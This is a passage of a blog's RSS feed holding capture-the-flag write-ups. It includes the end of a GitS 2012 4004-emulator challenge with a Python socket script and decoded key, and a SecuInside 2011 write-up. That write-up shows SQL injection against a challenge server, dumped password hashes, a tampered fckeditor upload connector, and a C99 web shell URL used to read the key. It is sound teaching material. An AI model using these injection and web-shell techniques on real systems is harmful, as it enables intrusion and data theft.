s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># Creating Socket</span><br />
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># Connecting to socket</span><br />
<br />
data <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">65536</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span><br />
data <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">65536</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span><br />
<br />
crash <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>D0<span style="color: #000099; font-weight: bold;">\x</span>FD<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>22<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>DC<span style="color: #000099; font-weight: bold;">\x</span>B2<span style="color: #000099; font-weight: bold;">\x</span>21<span style="color: #000099; font-weight: bold;">\x</span>E9<span style="color: #000099; font-weight: bold;">\x</span>E2<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>08'</span><br />
<br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>00'</span> * <span style="color: black;">&#40;</span><span style="color: #ff4500;">4096</span> - <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>crash<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
<br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s'</span> %crash<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp;line <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4096</span><span style="color: black;">&#41;</span><br />
&nbsp;<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:<br />
&nbsp;<span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp;<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#41;</span><br />
<br />
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
</pre>
<pre>The emulator was *very* unreliable on the challenge service and you needed to run your like 20 times.</pre>
<pre>Result:</pre>
<pre></pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ python inmemory.py inmemory.final2012.ghostintheshellcode.com 4004<br />
Received 'Written in memory of a great microprocessor.\n'<br />
Received 'Waiting for program...\n'<br />
Received 'Loading program onto PROM...\n'<br />
Received 'Executing program...\n<br />
500000000000000040000000000000006000000000000000f0000000000000006000000000000000<br />
c0000000000000006000000000000000400000000000000050000000000000009000000000000000<br />
6000000000000000f000000000000000700000000000000050000000000000004000000000000000<br />
9000000000000000500000000000000040000000000000006000000000000000f000000000000000<br />
6000000000000000c000000000000000600000000000000040000000000000005000000000000000<br />
90000000000000006000000000000000f00000000000000070000000000000005000000000000000<br />
40000000000000009000000000000000500000000000000040000000000000006000000000000000<br />
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000<br />
500000000000000090000000000000006000000000000000f0000000000000007000000000000000<br />
50000000000000004000000000000000900000000000000050000000000000004000000000000000<br />
6000000000000000f0000000000000006000000000000000c0000000000000006000000000000000<br />
4000000000000000500000000000000090000000000000006000000000000000f000000000000000<br />
70000000000000005000000000000000400000000000000090000000000000005000000000000000<br />
40000000000000006000000000000000f0000000000000006000000000000000c000000000000000<br />
60000000000000004000000000000000500000000000000090000000000000006000000000000000<br />
f0000000000000007000000000000000500000000000000040000000000000009000000000000000<br />
500000000000000040000000000000006000000000000000f0000000000000006000000000000000<br />
c0000000000000006000000000000000400000000000000050000000000000009000000000000000<br />
6000000000000000f000000000000000700000000000000050000000000000004000000000000000<br />
9000000000000000500000000000000040000000000000006000000000000000f000000000000000<br />
6000000000000000c000000000000000600000000000000040000000000000005000000000000000<br />
90000000000000006000000000000000f00000000000000070000000000000005000000000000000<br />
40000000000000009000000000000000500000000000000040000000000000006000000000000000<br />
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000<br />
500000000000000090000000000000006000000000000000f0000000000000007000000000000000<br />
500000000000000040000000000000009000000000000000<br />
Cycle limit reached!<br />
Exiting...</div></div>
<pre></pre>
<pre>You need to rerun it with the top LDM changed to 1 so switch to another RAM bank.</pre>
<pre>The pattern is repeated several times: 546f6c64596f7549546f6c64596f7 = ToldYouI</pre>
<pre>You keep converting until you have the full key assembled from all the RAM memory regions</pre>
<pre>Key: ToldYouItWasInMemory</pre>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/01/29/gits-2012-in-memory-4004-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SecuInside 2011 Exam 4 Write-up</title>
		<link>http://codezen.fr/2011/10/09/secuinside-2011-exam-4-write-up/</link>
		<comments>http://codezen.fr/2011/10/09/secuinside-2011-exam-4-write-up/#comments</comments>
		<pubDate>Sun, 09 Oct 2011 19:48:57 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[secuinside]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=49</guid>
		<description><![CDATA[In this challenge, we need to recover the key from the website of DONGPO-SA Capital. This website in running on Windows with Apache, PHP and MySQL. This website is actually full of sql injections in the various parameters. For example: http://114.201.226.217:5454/board/delete.html?mode=form&#38;delete_uno=[sqli here] We first tried to exploit this and managed to dump all the databases [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge, we need to recover the key from the website of DONGPO-SA Capital. This website in running on Windows with Apache, PHP and MySQL.</p>
<p style="text-align: left;"><span id="more-49"></span><a href="http://codezen.fr/wp-content/uploads/2011/10/DONGPO-SA-Capital.png"><img class="size-medium wp-image-50 aligncenter" title="DONGPO-SA Capital" src="http://codezen.fr/wp-content/uploads/2011/10/DONGPO-SA-Capital-300x179.png" alt="" width="300" height="179" /></a> This website is actually full of sql injections in the various parameters.</p>
<p>For example:</p>
<p>http://114.201.226.217:5454/board/delete.html?mode=form&amp;delete_uno=[sqli here]</p>
<p>We first tried to exploit this and managed to dump all the databases on the server. But the key wasn't there.</p>
<div class="codecolorer-container sql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Available <span style="color: #993333; font-weight: bold;">DATABASES</span>:<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> board<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> information_schema<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> mysql<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> phpmyadmin<br />
<br />
<span style="color: #993333; font-weight: bold;">DATABASE</span> management system users:<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> <span style="color: #ff0000;">'board'</span>        @ <span style="color: #ff0000;">'localhost'</span><br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> <span style="color: #ff0000;">'phpmyadmin'</span>    @ <span style="color: #ff0000;">'localhost'</span><br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> <span style="color: #ff0000;">'root'</span>        @ <span style="color: #ff0000;">'localhost'</span><br />
<br />
<span style="color: #993333; font-weight: bold;">DATABASE</span> management system users password hashes:<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> board     : <span style="color: #66cc66;">*</span>4A7A3755AA518CFB9E2480F77AEF9D1D6EE15857<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> phpmyadmin     : <span style="color: #66cc66;">*</span>3C281371A5A96ACC8FE7177B7C269CC7C9C9C816<br />
<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#93;</span> root     : <span style="color: #66cc66;">*</span>3C281371A5A96ACC8FE7177B7C269CC7C9C9C816<br />
<br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">------------+</span><br />
<span style="color: #66cc66;">|</span> board      <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">------------+</span><br />
<span style="color: #66cc66;">|</span> board_free <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">------------+</span><br />
<br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">------------------------------+</span><br />
<span style="color: #66cc66;">|</span>          board_free          <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">---------------+--------------+</span><br />
<span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">COLUMN</span>        <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">TYPE</span>         <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">---------------+--------------+</span><br />
<span style="color: #66cc66;">|</span> client_ip     <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">20</span><span style="color: #66cc66;">&#41;</span>  <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> content       <span style="color: #66cc66;">|</span> text         <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> email         <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span>  <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> gno           <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">INT</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span>      <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> hit           <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">INT</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">5</span><span style="color: #66cc66;">&#41;</span>       <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> homepage      <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span>  <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> html_tag      <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">INT</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">5</span><span style="color: #66cc66;">&#41;</span>       <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> name          <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">20</span><span style="color: #66cc66;">&#41;</span>  <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> passwd        <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> register_date <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">INT</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span>      <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> reply_depth   <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> subject       <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span>  <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">|</span> uno           <span style="color: #66cc66;">|</span> <span style="color: #993333; font-weight: bold;">INT</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span>      <span style="color: #66cc66;">|</span><br />
<span style="color: #66cc66;">+</span><span style="color: #808080; font-style: italic;">---------------+--------------+</span></div></div>
<p>We then tried to peruse the disk content using the FILE privilege of the user. We downloaded all the relevant files of the challenge but the source code didn't show any vulnerability that would allow us to inject PHP.</p>
<p>We tried to upload some PHP shell using the sql injection but we couldn't find a writable directory that would be in the DocumentRoot and writable by the MySQL process.</p>
<p>Finally, we noticed that one of the form was using the fckeditor 2.6.6 and that the PHP upload connectors was enabled.</p>
<p>Using the sql injection file read, we dumped the fckeditor config and found the following relevant part:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">// Path to user files relative to the document root.</span><br />
<span style="color: #000088;">$Config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'UserFilesPath'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'..\\..\\..\\..\\..\\userfiles\' ;<br />
<br />
$Config['</span>ConfigAllowedTypes<span style="color: #0000ff;">'] = array('</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #0000ff;">', '</span>Image<span style="color: #0000ff;">', '</span>Flash<span style="color: #0000ff;">', '</span>Media<span style="color: #0000ff;">') ;<br />
<br />
$Config['</span>AllowedExtensions<span style="color: #0000ff;">']['</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #0000ff;">']    = array('</span>7z<span style="color: #0000ff;">', '</span>aiff<span style="color: #0000ff;">', '</span>asf<span style="color: #0000ff;">', '</span>avi<span style="color: #0000ff;">', '</span>bmp<span style="color: #0000ff;">', '</span>csv<span style="color: #0000ff;">', '</span>doc<span style="color: #0000ff;">', '</span>fla<span style="color: #0000ff;">', '</span>flv<span style="color: #0000ff;">', '</span>gif<span style="color: #0000ff;">', '</span>gz<span style="color: #0000ff;">', '</span>gzip<span style="color: #0000ff;">', '</span>jpeg<span style="color: #0000ff;">', '</span>jpg<span style="color: #0000ff;">', '</span>mid<span style="color: #0000ff;">', '</span>mov<span style="color: #0000ff;">', '</span>mp3<span style="color: #0000ff;">', '</span>mp4<span style="color: #0000ff;">', '</span>mpc<span style="color: #0000ff;">', '</span>mpeg<span style="color: #0000ff;">', '</span>mpg<span style="color: #0000ff;">', '</span>ods<span style="color: #0000ff;">', '</span>odt<span style="color: #0000ff;">', '</span>pdf<span style="color: #0000ff;">', '</span>png<span style="color: #0000ff;">', '</span>ppt<span style="color: #0000ff;">', '</span>pxd<span style="color: #0000ff;">', '</span>qt<span style="color: #0000ff;">', '</span>ram<span style="color: #0000ff;">', '</span>rar<span style="color: #0000ff;">', '</span>rm<span style="color: #0000ff;">', '</span>rmi<span style="color: #0000ff;">'<br />
, '</span>rmvb<span style="color: #0000ff;">', '</span>rtf<span style="color: #0000ff;">', '</span>sdc<span style="color: #0000ff;">', '</span>sitd<span style="color: #0000ff;">', '</span>swf<span style="color: #0000ff;">', '</span>sxc<span style="color: #0000ff;">', '</span>sxw<span style="color: #0000ff;">', '</span>tar<span style="color: #0000ff;">', '</span>tgz<span style="color: #0000ff;">', '</span>tif<span style="color: #0000ff;">', '</span>tiff<span style="color: #0000ff;">', '</span>txt<span style="color: #0000ff;">', '</span>vsd<span style="color: #0000ff;">', '</span>wav<span style="color: #0000ff;">', '</span>wma<span style="color: #0000ff;">', '</span>wmv<span style="color: #0000ff;">', '</span>xls<span style="color: #0000ff;">', '</span>xml<span style="color: #0000ff;">', '</span>zip<span style="color: #0000ff;">') ;<br />
$Config['</span>DeniedExtensions<span style="color: #0000ff;">']['</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #0000ff;">']        = array() ;<br />
$Config['</span>FileTypesPath<span style="color: #0000ff;">']['</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] . '</span><a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>FileTypesAbsolutePath<span style="color: #0000ff;">']['</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #0000ff;">']= ($Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] == '</span><span style="color: #0000ff;">') ? '</span><span style="color: #0000ff;">' : $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'].'</span><a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>QuickUploadPath<span style="color: #0000ff;">']['</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] ;<br />
$Config['</span>QuickUploadAbsolutePath<span style="color: #0000ff;">']['</span><a href="http://www.php.net/file"><span style="color: #990000;">File</span></a><span style="color: #0000ff;">']= $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] ;<br />
<br />
$Config['</span>AllowedExtensions<span style="color: #0000ff;">']['</span>Image<span style="color: #0000ff;">']    = array('</span>bmp<span style="color: #0000ff;">','</span>gif<span style="color: #0000ff;">','</span>jpeg<span style="color: #0000ff;">','</span>jpg<span style="color: #0000ff;">','</span>png<span style="color: #0000ff;">') ;<br />
$Config['</span>DeniedExtensions<span style="color: #0000ff;">']['</span>Image<span style="color: #0000ff;">']    = array() ;<br />
$Config['</span>FileTypesPath<span style="color: #0000ff;">']['</span>Image<span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] . '</span>image<span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>FileTypesAbsolutePath<span style="color: #0000ff;">']['</span>Image<span style="color: #0000ff;">']= ($Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] == '</span><span style="color: #0000ff;">') ? '</span><span style="color: #0000ff;">' : $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'].'</span>image<span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>QuickUploadPath<span style="color: #0000ff;">']['</span>Image<span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] ;<br />
$Config['</span>QuickUploadAbsolutePath<span style="color: #0000ff;">']['</span>Image<span style="color: #0000ff;">']= $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] ;<br />
<br />
$Config['</span>AllowedExtensions<span style="color: #0000ff;">']['</span>Flash<span style="color: #0000ff;">']    = array('</span>swf<span style="color: #0000ff;">','</span>flv<span style="color: #0000ff;">') ;<br />
$Config['</span>DeniedExtensions<span style="color: #0000ff;">']['</span>Flash<span style="color: #0000ff;">']    = array() ;<br />
$Config['</span>FileTypesPath<span style="color: #0000ff;">']['</span>Flash<span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] . '</span>flash<span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>FileTypesAbsolutePath<span style="color: #0000ff;">']['</span>Flash<span style="color: #0000ff;">']= ($Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] == '</span><span style="color: #0000ff;">') ? '</span><span style="color: #0000ff;">' : $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'].'</span>flash<span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>QuickUploadPath<span style="color: #0000ff;">']['</span>Flash<span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] ;<br />
$Config['</span>QuickUploadAbsolutePath<span style="color: #0000ff;">']['</span>Flash<span style="color: #0000ff;">']= $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] ;<br />
<br />
$Config['</span>AllowedExtensions<span style="color: #0000ff;">']['</span>Media<span style="color: #0000ff;">']    = array('</span>aiff<span style="color: #0000ff;">', '</span>asf<span style="color: #0000ff;">', '</span>avi<span style="color: #0000ff;">', '</span>bmp<span style="color: #0000ff;">', '</span>fla<span style="color: #0000ff;">', '</span>flv<span style="color: #0000ff;">', '</span>gif<span style="color: #0000ff;">', '</span>jpeg<span style="color: #0000ff;">', '</span>jpg<span style="color: #0000ff;">', '</span>mid<span style="color: #0000ff;">', '</span>mov<span style="color: #0000ff;">', '</span>mp3<span style="color: #0000ff;">', '</span>mp4<span style="color: #0000ff;">', '</span>mpc<span style="color: #0000ff;">', '</span>mpeg<span style="color: #0000ff;">', '</span>mpg<span style="color: #0000ff;">', '</span>png<span style="color: #0000ff;">', '</span>qt<span style="color: #0000ff;">', '</span>ram<span style="color: #0000ff;">', '</span>rm<span style="color: #0000ff;">', '</span>rmi<span style="color: #0000ff;">', '</span>rmvb<span style="color: #0000ff;">', '</span>swf<span style="color: #0000ff;">', '</span>tif<span style="color: #0000ff;">', '</span>tiff<span style="color: #0000ff;">', '</span>wav<span style="color: #0000ff;">', '</span>wma<span style="color: #0000ff;">', '</span>wmv<span style="color: #0000ff;">') ;<br />
$Config['</span>DeniedExtensions<span style="color: #0000ff;">']['</span>Media<span style="color: #0000ff;">']    = array() ;<br />
$Config['</span>FileTypesPath<span style="color: #0000ff;">']['</span>Media<span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] . '</span>media<span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>FileTypesAbsolutePath<span style="color: #0000ff;">']['</span>Media<span style="color: #0000ff;">']= ($Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] == '</span><span style="color: #0000ff;">') ? '</span><span style="color: #0000ff;">' : $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'].'</span>media<span style="color: #339933;">/</span><span style="color: #0000ff;">' ;<br />
$Config['</span>QuickUploadPath<span style="color: #0000ff;">']['</span>Media<span style="color: #0000ff;">']        = $Config['</span>UserFilesPath<span style="color: #0000ff;">'] ;<br />
$Config['</span>QuickUploadAbsolutePath<span style="color: #0000ff;">']['</span>Media<span style="color: #0000ff;">']= $Config['</span>UserFilesAbsolutePath<span style="color: #0000ff;">'] ;</span></div></div>
<p>Conveniently the fckeditor test file were still there: http://114.201.226.217:5454/board/fckeditor/editor/filemanager/connectors/test.html</p>
<p>We played with it but, because of the whitelist in the config file, we couldn't upload php or html files except into a special category named "Invalid type (for testing)"</p>
<p>This was strange because this category wasn't in the fckeditor config file.</p>
<p>Then it occured to me that if we were able to list the folders and files in this category using the fckeditor test uploader, it means the file were still uploaded somewhere. But where?</p>
<p>Still using the sql injection, we downloaded the fckeditor source code for the connectors and noticed a vulnerability has been introducted:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>code<span style="color: #339933;">&gt;</span><span style="color: #000000; font-weight: bold;">function</span> ServerMapFolder<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$resourceType</span><span style="color: #339933;">,</span> <span style="color: #000088;">$folderPath</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sCommand</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><span style="color: #339933;">&lt;/</span>code<span style="color: #339933;">&gt;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$Config</span> <span style="color: #339933;">;</span><br />
<br />
<span style="color: #666666; font-style: italic;">// Get the resource type directory.</span><br />
<span style="color: #666666; font-style: italic;">//$sResourceTypePath = GetResourceTypeDirectory( $resourceType, $sCommand ) ;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//SendError( 1,$resourceType ) ;</span><br />
<span style="color: #000088;">$sResourceTypePath</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$Config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'UserFilesPath'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$resourceType</span><span style="color: #339933;">.</span><span style="color: #000088;">$folderPath</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">// Ensure that the directory exists.</span><br />
<span style="color: #000088;">$sErrorMsg</span> <span style="color: #339933;">=</span> CreateServerFolder<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$sResourceTypePath</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$sErrorMsg</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span> <span style="color: #009900;">&#41;</span><br />
SendError<span style="color: #009900;">&#40;</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Error creating folder <span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #006699; font-weight: bold;">{$sResourceTypePath}</span><span style="color: #000099; font-weight: bold;">\&quot;</span> (<span style="color: #006699; font-weight: bold;">{$sErrorMsg}</span>)&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">;</span><br />
<br />
<span style="color: #666666; font-style: italic;">// Return the resource type directory combined with the required path.</span><br />
<span style="color: #b1b100;">return</span> CombinePaths<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$sResourceTypePath</span> <span style="color: #339933;">,</span> <span style="color: #000088;">$folderPath</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Notice how $sResourceTypePath is now not checked anymore against the config file. So the "Invalid category" files will be located in "..\\..\\..\\..\\..\\userfiles\\" relative to the connector + "Invalid"</p>
<p>We uploaded a C99 shell to the invalid folder and used it to find the key file located in the htdocs folder:</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://114.201.226.217:5454/board/userfiles/Invalid/c99shell.php?act=f<span style="color: #ddbb00;">&amp;amp;</span>f=key_741963123654789.txt<span style="color: #ddbb00;">&amp;amp;</span>d=C%3A%5CAPM_Setup%5Chtdocs<span style="color: #ddbb00;">&amp;amp;</span></div></div>
<pre>key is : webvuln3r4bility</pre>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2011/10/09/secuinside-2011-exam-4-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW 2011 OpenGL</title>
		<link>http://codezen.fr/2011/09/26/csaw-2011-opengl/</link>
		<comments>http://codezen.fr/2011/09/26/csaw-2011-opengl/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 20:21:28 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[CSAW]]></category>
		<category><![CDATA[OpenGL]]></category>
